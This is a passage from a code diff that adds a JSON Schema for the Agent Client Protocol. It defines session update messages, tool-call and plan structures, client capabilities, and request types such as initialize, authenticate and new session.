}, + "required": ["sessionUpdate"], + "allOf": [ + { + "$ref": "#/$defs/ContentChunk" + } + ] + }, + { + "description": "A chunk of the agent's response being streamed.", + "type": "object", + "properties": { + "sessionUpdate": { + "type": "string", + "const": "agent_message_chunk" + } + }, + "required": ["sessionUpdate"], + "allOf": [ + { + "$ref": "#/$defs/ContentChunk" + } + ] + }, + { + "description": "A chunk of the agent's internal reasoning being streamed.", + "type": "object", + "properties": { + "sessionUpdate": { + "type": "string", + "const": "agent_thought_chunk" + } + }, + "required": ["sessionUpdate"], + "allOf": [ + { + "$ref": "#/$defs/ContentChunk" + } + ] + }, + { + "description": "Notification that a new tool call has been initiated.", + "type": "object", + "properties": { + "sessionUpdate": { + "type": "string", + "const": "tool_call" + } + }, + "required": ["sessionUpdate"], + "allOf": [ + { + "$ref": "#/$defs/ToolCall" + } + ] + }, + { + "description": "Update on the status or results of a tool call.", + "type": "object", + "properties": { + "sessionUpdate": { + "type": "string", + "const": "tool_call_update" + } + }, + "required": ["sessionUpdate"], + "allOf": [ + { + "$ref": "#/$defs/ToolCallUpdate" + } + ] + }, + { + "description": "The agent's execution plan for complex tasks.\nSee protocol docs: [Agent Plan](https://agentclientprotocol.com/protocol/agent-plan)", + "type": "object", + "properties": { + "sessionUpdate": { + "type": "string", + "const": "plan" + } + }, + "required": ["sessionUpdate"], + "allOf": [ + { + "$ref": "#/$defs/Plan" + } + ] + }, + { + "description": "Available commands are ready or have changed", + "type": "object", + "properties": { + "sessionUpdate": { + "type": "string", + "const": "available_commands_update" + } + }, + "required": ["sessionUpdate"], + "allOf": [ + { + "$ref": "#/$defs/AvailableCommandsUpdate" + } + ] + }, + { + "description": "The current mode of the session has changed\n\nSee protocol docs: [Session Modes](https://agentclientprotocol.com/protocol/session-modes)", + "type": "object", + "properties": { + "sessionUpdate": { + "type": "string", + "const": "current_mode_update" + } + }, + "required": ["sessionUpdate"], + "allOf": [ + { + "$ref": "#/$defs/CurrentModeUpdate" + } + ] + }, + { + "description": "Session configuration options have been updated.", + "type": "object", + "properties": { + "sessionUpdate": { + "type": "string", + "const": "config_option_update" + } + }, + "required": ["sessionUpdate"], + "allOf": [ + { + "$ref": "#/$defs/ConfigOptionUpdate" + } + ] + }, + { + "description": "Session metadata has been updated (title, timestamps, custom metadata)", + "type": "object", + "properties": { + "sessionUpdate": { + "type": "string", + "const": "session_info_update" + } + }, + "required": ["sessionUpdate"], + "allOf": [ + { + "$ref": "#/$defs/SessionInfoUpdate" + } + ] + }, + { + "description": "Context window and cost update for the session.", + "type": "object", + "properties": { + "sessionUpdate": { + "type": "string", + "const": "usage_update" + } + }, + "required": ["sessionUpdate"], + "allOf": [ + { + "$ref": "#/$defs/UsageUpdate" + } + ] + } + ], + "discriminator": { + "propertyName": "sessionUpdate" + } + }, + "MessageId": { + "description": "Unique identifier for a message within a session.", + "type": "string" + }, + "ContentChunk": { + "description": "A streamed item of content", + "type": "object", + "properties": { + "content": { + "description": "A single item of content", + "allOf": [ + { + "$ref": "#/$defs/ContentBlock" + } + ] + }, + "messageId": { + "description": "A unique identifier for the message this chunk belongs to.\n\nAll chunks belonging to the same message share the same `messageId`.\nA change in `messageId` indicates a new message has started.", + "anyOf": [ + { + "$ref": "#/$defs/MessageId" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["content"] + }, + "ToolCall": { + "description": "Represents a tool call that the language model has requested.\n\nTool calls are actions that the agent executes on behalf of the language model,\nsuch as reading files, executing code, or fetching data from external sources.\n\nSee protocol docs: [Tool Calls](https://agentclientprotocol.com/protocol/tool-calls)", + "type": "object", + "properties": { + "toolCallId": { + "description": "Unique identifier for this tool call within the session.", + "allOf": [ + { + "$ref": "#/$defs/ToolCallId" + } + ] + }, + "title": { + "description": "Human-readable title describing what the tool is doing.", + "type": "string" + }, + "kind": { + "description": "The category of tool being invoked.\nHelps clients choose appropriate icons and UI treatment.", + "x-deserialize-default-on-error": true, + "allOf": [ + { + "$ref": "#/$defs/ToolKind" + } + ] + }, + "status": { + "description": "Current execution status of the tool call.", + "x-deserialize-default-on-error": true, + "allOf": [ + { + "$ref": "#/$defs/ToolCallStatus" + } + ] + }, + "content": { + "description": "Content produced by the tool call.", + "type": "array", + "items": { + "$ref": "#/$defs/ToolCallContent" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "locations": { + "description": "File locations affected by this tool call.\nEnables \"follow-along\" features in clients.", + "type": "array", + "items": { + "$ref": "#/$defs/ToolCallLocation" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "rawInput": { + "description": "Raw input parameters sent to the tool.", + "x-deserialize-default-on-error": true + }, + "rawOutput": { + "description": "Raw output returned by the tool.", + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["toolCallId", "title"] + }, + "PlanEntry": { + "description": "A single entry in the execution plan.\n\nRepresents a task or goal that the assistant intends to accomplish\nas part of fulfilling the user's request.\nSee protocol docs: [Plan Entries](https://agentclientprotocol.com/protocol/agent-plan#plan-entries)", + "type": "object", + "properties": { + "content": { + "description": "Human-readable description of what this task aims to accomplish.", + "type": "string" + }, + "priority": { + "description": "The relative importance of this task.\nUsed to indicate which tasks are most critical to the overall goal.", + "allOf": [ + { + "$ref": "#/$defs/PlanEntryPriority" + } + ] + }, + "status": { + "description": "Current execution status of this task.", + "allOf": [ + { + "$ref": "#/$defs/PlanEntryStatus" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["content", "priority", "status"] + }, + "PlanEntryPriority": { + "description": "Priority levels for plan entries.\n\nUsed to indicate the relative importance or urgency of different\ntasks in the execution plan.\nSee protocol docs: [Plan Entries](https://agentclientprotocol.com/protocol/agent-plan#plan-entries)", + "oneOf": [ + { + "description": "High priority task - critical to the overall goal.", + "type": "string", + "const": "high" + }, + { + "description": "Medium priority task - important but not critical.", + "type": "string", + "const": "medium" + }, + { + "description": "Low priority task - nice to have but not essential.", + "type": "string", + "const": "low" + } + ] + }, + "PlanEntryStatus": { + "description": "Status of a plan entry in the execution flow.\n\nTracks the lifecycle of each task from planning through completion.\nSee protocol docs: [Plan Entries](https://agentclientprotocol.com/protocol/agent-plan#plan-entries)", + "oneOf": [ + { + "description": "The task has not started yet.", + "type": "string", + "const": "pending" + }, + { + "description": "The task is currently being worked on.", + "type": "string", + "const": "in_progress" + }, + { + "description": "The task has been successfully completed.", + "type": "string", + "const": "completed" + } + ] + }, + "Plan": { + "description": "An execution plan for accomplishing complex tasks.\n\nPlans consist of multiple entries representing individual tasks or goals.\nAgents report plans to clients to provide visibility into their execution strategy.\nPlans can evolve during execution as the agent discovers new requirements or completes tasks.\n\nSee protocol docs: [Agent Plan](https://agentclientprotocol.com/protocol/agent-plan)", + "type": "object", + "properties": { + "entries": { + "description": "The list of tasks to be accomplished.\n\nWhen updating a plan, the agent must send a complete list of all entries\nwith their current status. The client replaces the entire plan with each update.", + "type": "array", + "items": { + "$ref": "#/$defs/PlanEntry" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["entries"] + }, + "AvailableCommand": { + "description": "Information about a command.", + "type": "object", + "properties": { + "name": { + "description": "Command name (e.g., `create_plan`, `research_codebase`).", + "type": "string" + }, + "description": { + "description": "Human-readable description of what the command does.", + "type": "string" + }, + "input": { + "description": "Input for the command if required", + "anyOf": [ + { + "$ref": "#/$defs/AvailableCommandInput" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["name", "description"] + }, + "AvailableCommandInput": { + "description": "The input specification for a command.", + "anyOf": [ + { + "title": "unstructured", + "description": "All text that was typed after the command name is provided as input.", + "allOf": [ + { + "$ref": "#/$defs/UnstructuredCommandInput" + } + ] + } + ] + }, + "UnstructuredCommandInput": { + "description": "All text that was typed after the command name is provided as input.", + "type": "object", + "properties": { + "hint": { + "description": "A hint to display when the input hasn't been provided yet", + "type": "string" + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["hint"] + }, + "AvailableCommandsUpdate": { + "description": "Available commands are ready or have changed", + "type": "object", + "properties": { + "availableCommands": { + "description": "Commands the agent can execute", + "type": "array", + "items": { + "$ref": "#/$defs/AvailableCommand" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["availableCommands"] + }, + "CurrentModeUpdate": { + "description": "The current mode of the session has changed\n\nSee protocol docs: [Session Modes](https://agentclientprotocol.com/protocol/session-modes)", + "type": "object", + "properties": { + "currentModeId": { + "description": "The ID of the current mode", + "allOf": [ + { + "$ref": "#/$defs/SessionModeId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["currentModeId"] + }, + "ConfigOptionUpdate": { + "description": "Session configuration options have been updated.", + "type": "object", + "properties": { + "configOptions": { + "description": "The full set of configuration options and their current values.", + "type": "array", + "items": { + "$ref": "#/$defs/SessionConfigOption" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["configOptions"] + }, + "SessionInfoUpdate": { + "description": "Update to session metadata. All fields are optional to support partial updates.\n\nAgents send this notification to update session information like title or custom metadata.\nThis allows clients to display dynamic session names and track session state changes.", + "type": "object", + "properties": { + "title": { + "description": "Human-readable title for the session. Set to null to clear.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "updatedAt": { + "description": "ISO 8601 timestamp of last activity. Set to null to clear.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "Cost": { + "description": "Cost information for a session.", + "type": "object", + "properties": { + "amount": { + "description": "Total cumulative cost for session.", + "type": "number", + "format": "double" + }, + "currency": { + "description": "ISO 4217 currency code (e.g., \"USD\", \"EUR\").", + "type": "string" + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["amount", "currency"] + }, + "UsageUpdate": { + "description": "Context window and cost update for a session.", + "type": "object", + "properties": { + "used": { + "description": "Tokens currently in context.", + "type": "integer", + "format": "uint64", + "minimum": 0 + }, + "size": { + "description": "Total context window size in tokens.", + "type": "integer", + "format": "uint64", + "minimum": 0 + }, + "cost": { + "description": "Cumulative session cost (optional).", + "anyOf": [ + { + "$ref": "#/$defs/Cost" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["used", "size"] + }, + "CompleteElicitationNotification": { + "description": "Notification sent by the agent when a URL-based elicitation is complete.", + "type": "object", + "properties": { + "elicitationId": { + "description": "The ID of the elicitation that completed.", + "allOf": [ + { + "$ref": "#/$defs/ElicitationId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nOptional. Omitted and `null` are equivalent and mean no metadata.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["elicitationId"], + "x-side": "client", + "x-method": "elicitation/complete" + }, + "ExtNotification": { + "description": "Allows the Agent to send an arbitrary notification that is not part of the ACP spec.\nExtension notifications provide a way to send one-way messages for custom functionality\nwhile maintaining protocol compatibility.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)" + }, + "ClientRequest": { + "description": "A JSON-RPC request object.", + "type": "object", + "properties": { + "id": { + "description": "The request id used to correlate the matching response.", + "allOf": [ + { + "$ref": "#/$defs/RequestId" + } + ] + }, + "method": { + "description": "The method name to invoke.", + "type": "string" + }, + "params": { + "description": "Method-specific request parameters.", + "anyOf": [ + { + "description": "All possible requests that a client can send to an agent.\n\nThis enum is used internally for routing RPC requests. You typically won't need\nto use this directly.\n\nThis enum encompasses all method calls from client to agent.", + "anyOf": [ + { + "title": "InitializeRequest", + "description": "Establishes the connection with a client and negotiates protocol capabilities.\n\nThis method is called once at the beginning of the connection to:\n- Negotiate the protocol version to use\n- Exchange capability information between client and agent\n- Determine available authentication methods\n\nThe agent should respond with its supported protocol version and capabilities.\n\nSee protocol docs: [Initialization](https://agentclientprotocol.com/protocol/initialization)", + "allOf": [ + { + "$ref": "#/$defs/InitializeRequest" + } + ] + }, + { + "title": "AuthenticateRequest", + "description": "Authenticates the client using the specified authentication method.\n\nCalled when the agent requires authentication before allowing session creation.\nThe client provides an authentication method ID that was advertised during\ninitialization and whose type defines the `authenticate` flow.\n\nAfter successful authentication, the client can proceed to create sessions with\n`new_session` without receiving an `auth_required` error.\n\nSee protocol docs: [Initialization](https://agentclientprotocol.com/protocol/initialization)", + "allOf": [ + { + "$ref": "#/$defs/AuthenticateRequest" + } + ] + }, + { + "title": "LogoutRequest", + "description": "Logs out of the current authenticated state.\n\nAfter a successful logout, all new sessions will require authentication.\nThere is no guarantee about the behavior of already running sessions.", + "allOf": [ + { + "$ref": "#/$defs/LogoutRequest" + } + ] + }, + { + "title": "NewSessionRequest", + "description": "Creates a new conversation session with the agent.\n\nSessions represent independent conversation contexts with their own history and state.\n\nThe agent should:\n- Create a new session context\n- Connect to any specified MCP servers\n- Return a unique session ID for future requests\n\nMay return an `auth_required` error if the agent requires authentication.\n\nSee protocol docs: [Session Setup](https://agentclientprotocol.com/protocol/session-setup)", + "allOf": [ + { + "$ref": "#/$defs/NewSessionRequest" + } + ] + }, + { + "title": "LoadSessionRequest", + "description": "Loads an existing session to resume a previous conversation.\n\nThis method is only available if the agent advertises the `loadSession` capability.\n\nThe agent should:\n- Restore the session context and conversation history\n- Connect to the specified MCP servers\n- Stream the entire conversation history back to the client via notifications\n\nSee protocol docs: [Loading Sessions](https://agentclientprotocol.com/protocol/session-setup#loading-sessions)", + "allOf": [ + { + "$ref": "#/$defs/LoadSessionRequest" + } + ] + }, + { + "title": "ListSessionsRequest", + "description": "Lists existing sessions known to the agent.\n\nThis method is only available if the agent advertises the `sessionCapabilities.list` capability.\n\nThe agent should return metadata about sessions with optional filtering and pagination support.", + "allOf": [ + { + "$ref": "#/$defs/ListSessionsRequest" + } + ] + }, + { + "title": "DeleteSessionRequest", + "description": "Deletes an existing session from `session/list`.\n\nThis method is only available if the agent advertises the `sessionCapabilities.delete` capability.", + "allOf": [ + { + "$ref": "#/$defs/DeleteSessionRequest" + } + ] + }, + { + "title": "ResumeSessionRequest", + "description": "Resumes an existing session without returning previous messages.\n\nThis method is only available if the agent advertises the `sessionCapabilities.resume` capability.\n\nThe agent should resume the session context, allowing the conversation to continue\nwithout replaying the message history (unlike `session/load`).", + "allOf": [ + { + "$ref": "#/$defs/ResumeSessionRequest" + } + ] + }, + { + "title": "CloseSessionRequest", + "description": "Closes an active session and frees up any resources associated with it.\n\nThis method is only available if the agent advertises the `sessionCapabilities.close` capability.\n\nThe agent must cancel any ongoing work (as if `session/cancel` was called)\nand then free up any resources associated with the session.", + "allOf": [ + { + "$ref": "#/$defs/CloseSessionRequest" + } + ] + }, + { + "title": "SetSessionModeRequest", + "description": "Sets the current mode for a session.\n\nAllows switching between different agent modes (e.g., \"ask\", \"architect\", \"code\")\nthat affect system prompts, tool availability, and permission behaviors.\n\nThe mode must be one of the modes advertised in `availableModes` during session\ncreation or loading. Agents may also change modes autonomously and notify the\nclient via `current_mode_update` notifications.\n\nThis method can be called at any time during a session, whether the Agent is\nidle or actively generating a response.\n\nSee protocol docs: [Session Modes](https://agentclientprotocol.com/protocol/session-modes)", + "allOf": [ + { + "$ref": "#/$defs/SetSessionModeRequest" + } + ] + }, + { + "title": "SetSessionConfigOptionRequest", + "description": "Sets the current value for a session configuration option.", + "allOf": [ + { + "$ref": "#/$defs/SetSessionConfigOptionRequest" + } + ] + }, + { + "title": "PromptRequest", + "description": "Processes a user prompt within a session.\n\nThis method handles the whole lifecycle of a prompt:\n- Receives user messages with optional context (files, images, etc.)\n- Processes the prompt using language models\n- Reports language model content and tool calls to the Clients\n- Requests permission to run tools\n- Executes any requested tool calls\n- Returns when the turn is complete with a stop reason\n\nSee protocol docs: [Prompt Turn](https://agentclientprotocol.com/protocol/prompt-turn)", + "allOf": [ + { + "$ref": "#/$defs/PromptRequest" + } + ] + }, + { + "title": "ExtMethodRequest", + "description": "Handles extension method requests from the client.\n\nExtension methods provide a way to add custom functionality while maintaining\nprotocol compatibility.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "allOf": [ + { + "$ref": "#/$defs/ExtRequest" + } + ] + } + ] + }, + { + "type": "null" + } + ] + } + }, + "required": ["id", "method"], + "x-docs-ignore": true + }, + "InitializeRequest": { + "description": "Request parameters for the initialize method.\n\nSent by the client to establish connection and negotiate capabilities.\n\nSee protocol docs: [Initialization](https://agentclientprotocol.com/protocol/initialization)", + "type": "object", + "properties": { + "protocolVersion": { + "description": "The latest protocol version supported by the client.", + "allOf": [ + { + "$ref": "#/$defs/ProtocolVersion" + } + ] + }, + "clientCapabilities": { + "description": "Capabilities supported by the client.", + "x-deserialize-default-on-error": true, + "default": { + "fs": { + "readTextFile": false, + "writeTextFile": false + }, + "terminal": false + }, + "allOf": [ + { + "$ref": "#/$defs/ClientCapabilities" + } + ] + }, + "clientInfo": { + "description": "Information about the Client name and version sent to the Agent.\n\nNote: in future versions of the protocol, this will be required.", + "anyOf": [ + { + "$ref": "#/$defs/Implementation" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["protocolVersion"], + "x-side": "agent", + "x-method": "initialize" + }, + "ClientCapabilities": { + "description": "Capabilities supported by the client.\n\nAdvertised during initialization to inform the agent about\navailable features and methods.\n\nSee protocol docs: [Client Capabilities](https://agentclientprotocol.com/protocol/initialization#client-capabilities)", + "type": "object", + "properties": { + "fs": { + "description": "File system capabilities supported by the client.\nDetermines which file operations the agent can request.", + "x-deserialize-default-on-error": true, + "default": { + "readTextFile": false, + "writeTextFile": false + }, + "allOf": [ + { + "$ref": "#/$defs/FileSystemCapabilities" + } + ] + }, + "terminal": { + "description": "Whether the Client support all `terminal/*` methods.", + "type": "boolean", + "default": false, + "x-deserialize-default-on-error": true + }, + "session": { + "description": "Session-related capabilities supported by the client.\n\nOptional. Omitted or `null` both mean the client does not advertise any\nsession-related extensions.", + "anyOf": [ + { + "$ref": "#/$defs/ClientSessionCapabilities" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "elicitation": { + "description": "Elicitation capabilities supported by the client.\nDetermines which elicitation modes the agent may use.\n\nOptional. Omitted or `null` both mean the client does not advertise\nelicitation support.", + "anyOf": [ + { + "$ref": "#/$defs/ElicitationCapabilities" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "FileSystemCapabilities": { + "description": "File system capabilities that a client may support.\n\nSee protocol docs: [FileSystem](https://agentclientprotocol.com/protocol/initialization#filesystem)", + "type": "object", + "properties": { + "readTextFile": { + "description": "Whether the Client supports `fs/read_text_file` requests.", + "type": "boolean", + "default": false, + "x-deserialize-default-on-error": true + }, + "writeTextFile": { + "description": "Whether the Client supports `fs/write_text_file` requests.", + "type": "boolean", + "default": false, + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "ClientSessionCapabilities": { + "description": "Session-related capabilities supported by the client.", + "type": "object", + "properties": { + "configOptions": { + "description": "Config option capabilities supported by the client.\n\nOmitted or `null` both mean the client does not advertise support for any\nconfig option extensions.", + "anyOf": [ + { + "$ref": "#/$defs/SessionConfigOptionsCapabilities" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "SessionConfigOptionsCapabilities": { + "description": "Session configuration option capabilities supported by the client.", + "type": "object", + "properties": { + "boolean": { + "description": "Whether the client supports boolean session configuration options.\n\nOptional. Omitted or `null` both mean the client does not advertise support.\nSupplying `{}` means agents may include `type: \"boolean\"` entries in\n`configOptions`, and the client may send `session/set_config_option`\nrequests with `type: \"boolean\"` and a boolean `value`.", + "anyOf": [ + { + "$ref": "#/$defs/BooleanConfigOptionCapabilities" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "BooleanConfigOptionCapabilities": { + "description": "Capabilities for boolean session configuration options.\n\nSupplying `{}` means the client supports boolean session configuration options.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "ElicitationCapabilities": { + "description": "Elicitation capabilities supported by the client.", + "type": "object", + "properties": { + "form": { + "description": "Whether the client supports form-based elicitation.\n\nOptional. Omitted and `null` are equivalent and mean form support is not advertised.\nSupplying `{}` explicitly advertises form support.", + "anyOf": [ + { + "$ref": "#/$defs/ElicitationFormCapabilities" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "url": { + "description": "Whether the client supports URL-based elicitation.\n\nOptional. Omitted or `null` both mean the client does not advertise support.\nSupplying `{}` means the client supports URL-based elicitation.", + "anyOf": [ + { + "$ref": "#/$defs/ElicitationUrlCapabilities" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nOptional. Omitted and `null` are equivalent and mean no metadata.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "ElicitationFormCapabilities": { + "description": "Form-based elicitation capabilities.\n\nSupplying `{}` means the client supports form-based elicitation.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nOptional. Omitted and `null` are equivalent and mean no metadata.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "ElicitationUrlCapabilities": { + "description": "URL-based elicitation capabilities.\n\nSupplying `{}` means the client supports URL-based elicitation.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nOptional. Omitted and `null` are equivalent and mean no metadata.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "AuthenticateRequest": { + "description": "Request parameters for the authenticate method.\n\nSpecifies which authentication method to use.", + "type": "object", + "properties": { + "methodId": { + "description": "The ID of the authentication method to use.\nMust be one of the methods advertised in the initialize response.", + "allOf": [ + { + "$ref": "#/$defs/AuthMethodId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["methodId"], + "x-side": "agent", + "x-method": "authenticate" + }, + "LogoutRequest": { + "description": "Request parameters for the logout method.\n\nTerminates the current authenticated session.", + "type": "object", + "properties": { + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "x-side": "agent", + "x-method": "logout" + }, + "NewSessionRequest": { + "description": "Request parameters for creating a new session.\n\nSee protocol docs: [Creating a Session](https://agentclientprotocol.com/protocol/session-setup#creating-a-session)", + "type": "object", + "properties": { + "cwd": { + "description": "The working directory for this session. Must be an absolute path.", + "type": "string" + }, + "additionalDirectories": { + "description": "Additional workspace roots for this session. Each path must be absolute.\n\nThese expand the session's filesystem scope without changing `cwd`, which\nremains the base for relative paths. When omitted or empty, no\nadditional roots are activated for the new session.", + "type": "array", + "items": { + "type": "string" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "mcpServers": { + "description": "List of MCP (Model Context Protocol) servers the agent should connect to.", + "type": "array", + "items": { + "$ref": "#/$defs/McpServer" + }, + "x-deserialize-default-on-error": true, + 